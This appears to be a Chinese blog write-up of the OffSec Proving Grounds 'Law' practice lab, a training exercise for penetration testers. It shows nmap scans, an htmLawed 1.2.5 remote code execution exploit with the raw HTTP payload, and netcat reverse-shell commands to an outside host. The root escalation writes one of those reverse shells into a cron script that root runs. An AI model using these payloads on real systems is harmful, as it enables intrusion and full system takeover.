OSCP Law Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

law

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

HTMLAWED 远程代码执行 –> www-data 用户权限 –> 用户旗帜

权限提升:

pspy 进程监控 –> /var/www/cleanup.sh 写入反弹 shell –> root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
sudo nmap -p- 192.168.212.190 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
sudo nmap -p22,80 -sCV 192.168.212.190

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: htmLawed (1.2.5) test
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界

3.2.1 HTMLAWED 远程代码执行漏洞

访问系统 HTTP 80 端口,通过页面得知系统为:HTMLAWED 1.2.5。

searchsploit 检索发现系统存在远程代码执行漏洞。

1
searchsploit htmlLawed

复制漏洞利用脚本至当前目录,kali 监听 1234 端口,执行反弹 shell,获取到系统 www-data 用户 shell。

1
2
3
searchsploit -m php/webapps/52023.sh
nc -lvnp 1234
./52023.sh -u http://192.168.212.190/ -c 'nc 192.168.45.241 1234 -e /bin/bash'

注意: 如果通过 burp 执行 payload,漏洞默认在 htmLawedTest.php 中,而靶机把该文件命令为了 index.php,当我们使用默认的页面执行 payload 会直接报错 404,这里也是卡了很久,尝试了各种目录枚举,最终是通过 index.php 执行 payload,当然,还要注意请求头中 cookie 需要指定: sid=foo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /index.php HTTP/1.1

Host: 192.168.212.190

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Accept-Language: zh,zh-CN;q=0.9

Cookie: sid=foo

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 26



sid=foo&hhook=exec&text=id

升级为交互式 shell。

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Pspy 监控进程,修改定时任务文件提权至 root

使用 pspy 监控系统进程,发现系统会以 root 权限定时执行/var/www/cleanup.sh 脚本,而该脚本 www-data 用户可进行修改,将反弹 shell 写入/var/www/cleanup.sh 脚本,系统再次执行脚本时,成功获取到系统 root 用户权限。

1
2
echo "busybox nc 192.168.45.241 1234 -e /bin/bash" > cleanup.sh
nc -lvnp 1234

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Law Write-up
https://www.f0nesec.top/2025/08/25/oscp-law/
作者
F0ne
发布于
2025年8月25日
许可协议